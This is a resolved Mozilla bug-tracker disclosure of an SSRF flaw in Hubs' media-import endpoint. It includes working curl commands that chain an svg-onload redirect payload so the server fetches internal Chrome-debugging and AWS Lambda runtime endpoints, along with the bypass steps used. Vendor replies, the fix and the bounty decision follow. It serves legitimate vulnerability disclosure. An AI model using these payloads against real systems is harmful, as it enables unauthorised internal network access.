Closed Bug 1744089 Opened 4 years ago Closed 4 years ago

Full Read SSRF And Internal Network access on *.reticulum.io and hubs.mozilla.com

Categories

(Websites :: Hubs, defect)

defect

Tracking

(Not tracked)

RESOLVED FIXED

People

(Reporter: Mahtoshivnath709, Unassigned)

References

()

Details

(Keywords: reporter-external, sec-low, wsec-ssrf, Whiteboard: [reporter-external] [web-bounty-form] [verif?])

Attachments

(2 files)

Hello There !
There is Full Read Server Side Request Forgery (SSRF) vulnerability on hubs.mozilla.com and *.reticulum.io. allowing Internal Network Access.

Description.
Hubs allows users to import avatar using url defined by users. The server makes POST request to /api/v1/media endpoint with users provided url parameter. If the response is html, Then server converts it into png format similar to screenshot. The interesting part which i encountered with this findings were such as.

  1. The backend only allows external host url i.e. not even hubs.mozilla.com or reticulum.io instances were accessible directly.
  2. The server responds with status code 500 Internal server Error If the backend encounters status code other than 200.
  3. The server only accpets the response of Content-Type: text/html. Other than this content-type urls response aren't presented to the user.
  4. Direct ip address access to local environment is strictly denied by the server.

But Here are the bypasses.
#1. The 302 redirect fails to work here. The server executes the javascript on the page. So its possible to redirect the page to any desired location using document.location function.
#2. The internal local address is the only option to prove the internal ssrf attack. Since port 9222 is open by default allowing chrome debugging.
#3 Only /json/list endpoint were known for me till now.

Exploit.
The exploit url looks like this.
https://www.edmodo.com/embed/popup?embed=y5456<svg/onload=document.location=\http://127.0.0.1:9222/json/list\`>`

Building final exploit script.
curl -X POST -H 'Content-Type: application/json' -s 'https://hubs.mozilla.com/api/v1/media' -d '{"media":{"url":"https://www.edmodo.com/embed/popup?embed=UnwantedCharacter<svg/onload=document.location=\http://127.0.0.1:9222/json/list\`>","quality":"high"}}'`

Send this request and open the generated png url.
PS: Always add a new character along with UnwantedCharacter to bypass cache response.

Remedition.
The server must validate the url properly on Frontend to Backend both

Impact.
This vulnerability allows any Malicious user to force the server to make malicious request to sensitive server such as exploiting sql injection or other vulnerability present on government site etc. This also allows Full internal Network Access.

This is the origin server IP address of the hubs.mozilla.com instance.
59.2.215.98

Flags: sec-bounty?

This command should work better.
curl -X POST -H 'Content-Type: application/json' -s 'https://hubs.mozilla.com/api/v1/media' -d '{"media":{"url":"https://www.edmodo.com/embed/popup?embed=UnwantedCharacter<svg/onload=document.location=\"http://127.0.0.1:9222/json/list\">","quality":"high"}}'

Thanks
Best Regards
Mozilla Security Team.

The best Report i was inspired of https://hackerone.com/reports/878779 Regarding SSRF

Type: task → defect
Flags: needinfo?(jshaughnessy)
Flags: needinfo?(bpeiris)

I was looking for some open ports. And here it is what i found.
Port: 9001.
service: AWS Lambda
To Reproduce: Run below command on Terminal
curl -X POST -H 'Content-Type: application/json' -s 'https://hubs.mozilla.com/api/v1/media' -d '{"media":{"url":"https://www.edmodo.com/embed/popup?embed=UnwantedCharacter5<svg/onload=document.location=\"http://localhost:9001/2018-06-01/runtime/invocation/next\">","quality":"high"}}'

I did a mistake on previous comment.
This is the origin server IP address of the hubs.mozilla.com instance.
13.56.121.64

Thanks.
Best Regards
Mozilla Security Team.

Acknowledged. Will investigate.

As far as I can tell so far from my investigation into this, it does not allow access to internal information that we would consider highly sensitive or secret. The mechanism here uses an AWS Lambda to take a screenshot of web page. Since the lambda is isolated from the rest of our infrastructure, it cannot access endpoints that might expose critical information. The lambda does have access to some local endpoints as demonstrated above, but I would not consider this "full internal network access".

I'd ask the security team to help asses any other concerns here. Since the purpose of this lambda is to screenshot websites, and we want to continue providing that functionality, I think the sensible action we can take here is to put a strict rate limit on requests to this /api/v1/media API.

Flags: needinfo?(bpeiris)

(In reply to Brian Peiris from comment #6)

As far as I can tell so far from my investigation into this, it does not allow access to internal information that we would consider highly sensitive or secret. The mechanism here uses an AWS Lambda to take a screenshot of web page. Since the lambda is isolated from the rest of our infrastructure, it cannot access endpoints that might expose critical information. The lambda does have access to some local endpoints as demonstrated above, but I would not consider this "full internal network access".

I'd ask the security team to help asses any other concerns here. Since the purpose of this lambda is to screenshot websites, and we want to continue providing that functionality, I think the sensible action we can take here is to put a strict rate limit on requests to this /api/v1/media API.

Can i get some internal endpoint to hit to prove the internal network access ssrf.

(In reply to Brian Peiris from comment #6)

As far as I can tell so far from my investigation into this, it does not allow access to internal information that we would consider highly sensitive or secret. The mechanism here uses an AWS Lambda to take a screenshot of web page. Since the lambda is isolated from the rest of our infrastructure, it cannot access endpoints that might expose critical information. The lambda does have access to some local endpoints as demonstrated above, but I would not consider this "full internal network access".

I'd ask the security team to help asses any other concerns here. Since the purpose of this lambda is to screenshot websites, and we want to continue providing that functionality, I think the sensible action we can take here is to put a strict rate limit on requests to this /api/v1/media API.

Please read above description.
There is clearly stated that the webapp donot provide direct access to those internal endpoints. but using this exploit we can access any internal ip address and ports.
Can you please provide me some internal ip address and ports so that i can hit it to prove the ssrf.
Other program do have those endpoint like this.
Submitted in attachment.

And after providing those requirements, please allow me for retesting.

I am also able to access chrome debugging endpoint. can you please look in to this properly ? please.

HI @bpeiris.
Any update ?

Hello Aaryan, we have discussed the report with the team and the SSRF is constrained to the lambda since the lambda is isolated from the internal network. They are looking into providing an internal endpoint for testing but this is not confirmed and we don't have a timeline for this. We will let you know when we have updates.

Thanks,
Frida

Status: UNCONFIRMED → NEW
Ever confirmed: true
Keywords: sec-low, wsec-ssrf

It would be very helpful. But donot forget to expose the internal endpoint accessible within the host but not from the internet i.e. The host should have access to that internal port and endpoint internally but not from the internet.

Thank you.
Best Regards.
Mozilla Security Team.

See Also: → 1726889
Flags: needinfo?(jshaughnessy)

Hello There !
Any update ?

Component: Other → Hubs

Hello all. We've now updated this lambda to prevent access to internal URLs like the chrome debugging endpoint and lambda runtime endpoint mentioned above. The fix also covers bypasses via SVGs and other redirects.

Hi @bpeiris.
I can no longer reproduce the issue.
PLease proceed for further actvities.

Best Regards
aaryan9898

Status: NEW → RESOLVED
Closed: 4 years ago
Resolution: --- → FIXED

Brian: can you link to where this was fixed (I assume a github issue? maybe an OPS JIRA config ticket?)? I'd like to reference it in the See Also field

Flags: needinfo?(bpeiris)

The tracking of this one was a bit scattered, since it was mitigated partially in one fix and then finally in a later fix. Here are all the related links. Let me know if you need access or more information.
https://mozilla-hub.atlassian.net/browse/HUBS-750
https://github.com/mozilla/reticulum/pull/544
https://mozilla-hub.atlassian.net/browse/HUBS-1245
https://github.com/MozillaReality/photomnemonic/pull/11

Flags: needinfo?(bpeiris)

And may i know about the bounty ?

Hello Aaryan, we wanted to check how the issue is fixed in order to determine the impact and the bounty amount

HI @frida
The team informed me on this report about internal endpoint but they didn't provided it to me.
Thats the additional information i had to share.

For impact and bounty, Please proceed it soon.
Thank You.

HI
any update ?

We decided to award this report since it provided an interesting method to perform SSRF using this endpoint, which bypassed the validations on the allowed URLs. We awarded half the bounty amount listed on our web bounty page, https://www.mozilla.org/en-US/security/web-bug-bounty/, since we assigned the issue a low severity.

Thanks again for your report and our team will be in touch with you regarding the award.

Thanks,
Frida

Flags: sec-bounty? → sec-bounty+

Thanks for the bounty.
please see #1740490

Hi @brian.
Can i get internal endpoint to test the app again ?
Thanks.

Group: websites-security
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: